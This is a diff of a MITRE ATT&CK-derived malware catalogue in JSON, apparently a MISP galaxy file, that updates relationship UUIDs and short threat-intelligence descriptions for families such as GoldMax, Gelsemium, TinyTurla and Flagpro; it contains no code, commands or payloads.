], - "type": "uses" - }, - { - "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c2e147a9-d1a8-4074-811a-d8789202d916", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "4e9bdf9a-4957-47f6-87b3-c76898d3f623", - "value": "Diavol - S0659" - }, { "description": "[Explosive](https://attack.mitre.org/software/S0569) is a custom-made remote access tool used by the group [Volatile Cedar](https://attack.mitre.org/groups/G0123). It was first identified in the wild in 2015.(Citation: CheckPoint Volatile Cedar March 2015)(Citation: ClearSky Lebanese Cedar Jan 2021) ", "meta": { @@ -65011,7 +62168,7 @@ "type": "uses" }, { - "dest-uuid": "c6421411-ae61-42bb-9098-73fddb315002", + "dest-uuid": "a93ccb8f-3996-42e2-b7c7-bb599d4e205f", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -65051,6 +62208,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "uses" + }, + { + "dest-uuid": "e8b4e1ec-8e3b-484c-9038-4459b1ed8060", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], "uuid": "96ea1e13-d50f-45f1-b0cf-4ac9bc5a2d62", @@ -65335,13 +62499,6 @@ ], "type": "uses" }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "74d2a63f-3c7b-4852-92da-02d8fbab16da", "tags": [ @@ -65410,16 +62567,14 @@ "value": "Waterbear - S0579" }, { - "description": "[GoldMax](https://attack.mitre.org/software/S0588) is a second-stage C2 backdoor written in Go with Windows and Linux variants that are nearly identical in functionality. [GoldMax](https://attack.mitre.org/software/S0588) was discovered in early 2021 during the investigation into the SolarWinds intrusion, and has likely been used by [APT29](https://attack.mitre.org/groups/G0016) since at least mid-2019. [GoldMax](https://attack.mitre.org/software/S0588) uses multiple defense evasion techniques, including avoiding virtualization execution and masking malicious traffic.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)(Citation: CrowdStrike StellarParticle January 2022)", + "description": "[GoldMax](https://attack.mitre.org/software/S0588) is a second-stage C2 backdoor written in Go that was used by [APT29](https://attack.mitre.org/groups/G0016) and discovered in early 2021 during the investigation into breaches related to the SolarWinds intrusion. [GoldMax](https://attack.mitre.org/software/S0588) uses multiple defense evasion techniques, including avoiding virtualization execution and masking malicious traffic.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021)", "meta": { "external_id": "S0588", "mitre_platforms": [ - "Windows", - "Linux" + "Windows" ], "refs": [ "https://attack.mitre.org/software/S0588", - "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/", "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html", "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/" ], @@ -65450,13 +62605,6 @@ ], "type": "uses" }, - { - "dest-uuid": "2acf44aa-542f-4366-b4eb-55ef5747759c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, { "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", "tags": [ @@ -65832,1801 +62980,7 @@ ], "uuid": "d6e55656-e43f-411f-a7af-45df650471c5", "value": "Kinsing - S0599" - }, - { - "description": "[Gelsemium](https://attack.mitre.org/software/S0666) is a modular malware comprised of a dropper (Gelsemine), a loader (Gelsenicine), and main (Gelsevirine) plug-ins written using the Microsoft Foundation Class (MFC) framework. [Gelsemium](https://attack.mitre.org/software/S0666) has been used by the Gelsemium group since at least 2014.(Citation: ESET Gelsemium June 2021)", - "meta": { - "external_id": "S0666", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0666", - "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf" - ], - "synonyms": [ - "Gelsemium", - "Gelsevirine", - "Gelsenicine", - "Gelsemine" - ] - }, - "related": [ - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2de47683-f398-448f-b947-9abcc3e32fad", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "47f2d673-ca62-47e9-929b-1b0be9657611", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4933e63b-9b77-476e-ab29-761bc5b7d15a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "5bfccc3f-2326-4112-86cc-c1ece9d8a2b5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - 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"tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b", - "value": "Gelsemium - S0666" - }, - { - "description": "[Chrommme](https://attack.mitre.org/software/S0667) is a backdoor tool written using the Microsoft Foundation Class (MFC) framework that was first reported in June 2021; security researchers noted infrastructure overlaps with [Gelsemium](https://attack.mitre.org/software/S0666) malware.(Citation: ESET Gelsemium June 2021)", - "meta": { - "external_id": "S0667", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0667", - "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf" - ], - "synonyms": [ - "Chrommme" - ] - }, - "related": [ - { - "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "579607c2-d046-40df-99ab-beb479c37a2a", - "value": "Chrommme - S0667" - }, - { - "description": "[QuietSieve](https://attack.mitre.org/software/S0686) is an information stealer that has been used by [Gamaredon Group](https://attack.mitre.org/groups/G0047) since at least 2021.(Citation: Microsoft Actinium February 2022)", - "meta": { - "external_id": "S0686", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0686", - "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/" - ], - "synonyms": [ - "QuietSieve" - ] - }, - "related": [ - { - "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "132d5b37-aac5-4378-a8dc-3127b18a73dc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "03eb4a05-6a02-43f6-afb7-3c7835501828", - "value": "QuietSieve - S0686" - }, - { - "description": "[TinyTurla](https://attack.mitre.org/software/S0668) is a backdoor that has been used by [Turla](https://attack.mitre.org/groups/G0010) against targets in the US, Germany, and Afghanistan since at least 2020.(Citation: Talos TinyTurla September 2021)", - "meta": { - "external_id": "S0668", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0668", - "https://blog.talosintelligence.com/2021/09/tinyturla.html" - ], - "synonyms": [ - "TinyTurla" - ] - }, - "related": [ - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "2a7c1bb7-cd12-456e-810d-ab3bf8457bab", - "value": "TinyTurla - S0668" - }, - { - "description": "[KOCTOPUS](https://attack.mitre.org/software/S0669)'s batch variant is loader used by [LazyScripter](https://attack.mitre.org/groups/G0140) since 2018 to launch [Octopus](https://attack.mitre.org/software/S0340) and [Koadic](https://attack.mitre.org/software/S0250) and, in some cases, [QuasarRAT](https://attack.mitre.org/software/S0262). [KOCTOPUS](https://attack.mitre.org/software/S0669) also has a VBA variant that has the same functionality as the batch version.(Citation: MalwareBytes LazyScripter Feb 2021)", - "meta": { - "external_id": "S0669", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0669", - "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf" - ], - "synonyms": [ - "KOCTOPUS" - ] - }, - "related": [ - { - "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "df9b350b-d4f9-4e79-a826-75cc75fbc1eb", - "value": "KOCTOPUS - S0669" - }, - { - "description": "[Flagpro](https://attack.mitre.org/software/S0696) is a Windows-based, first-stage downloader that has been used by [BlackTech](https://attack.mitre.org/groups/G0098) since at least October 2020. It has primarily been used against defense, media, and communications companies in Japan.(Citation: NTT Security Flagpro new December 2021) ", - "meta": { - "external_id": "S0696", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0696", - "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech" - ], - "synonyms": [ - "Flagpro", - "Flagpro " - ] - }, - "related": [ - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "4eeaf8a9-c86b-4954-a663-9555fb406466", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "799ace7f-e227-4411-baa0-8868704f2a69", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "a01bf75f-00b2-4568-a58f-565ff9bf202b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "592260fb-dd5c-4a30-8d99-106a0485be0d", - "value": "Flagpro - S0696" - }, - { - "description": "[Torisma](https://attack.mitre.org/software/S0678) is a second stage implant designed for specialized monitoring that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032). [Torisma](https://attack.mitre.org/software/S0678) was discovered during an investigation into the 2020 Operation North Star campaign that targeted the defense sector.(Citation: McAfee Lazarus Nov 2020)", - "meta": { - "external_id": "S0678", - "mitre_platforms": [ - "Windows" - ], - "refs": [ - "https://attack.mitre.org/software/S0678", - "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/" - ], - "synonyms": [ - "Torisma" - ] - }, - "related": [ - { - "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "391d824f-0ef1-47a0-b0ee-c59a75e27670", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "3ccef7ae-cb5e-48f6-8302-897105fbf55c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "853c4192-4311-43e1-bfbb-b11b14911852", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - }, - { - "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "uses" - } - ], - "uuid": "0715560d-4299-4e84-9e20-6e80ab57e4f2", - "value": "Torisma - S0678" - }, - { - "description": "[Ferocious](https://attack.mitre.org/software/S0679) is a first stage implant composed of VBS and PowerShell scripts that has been used 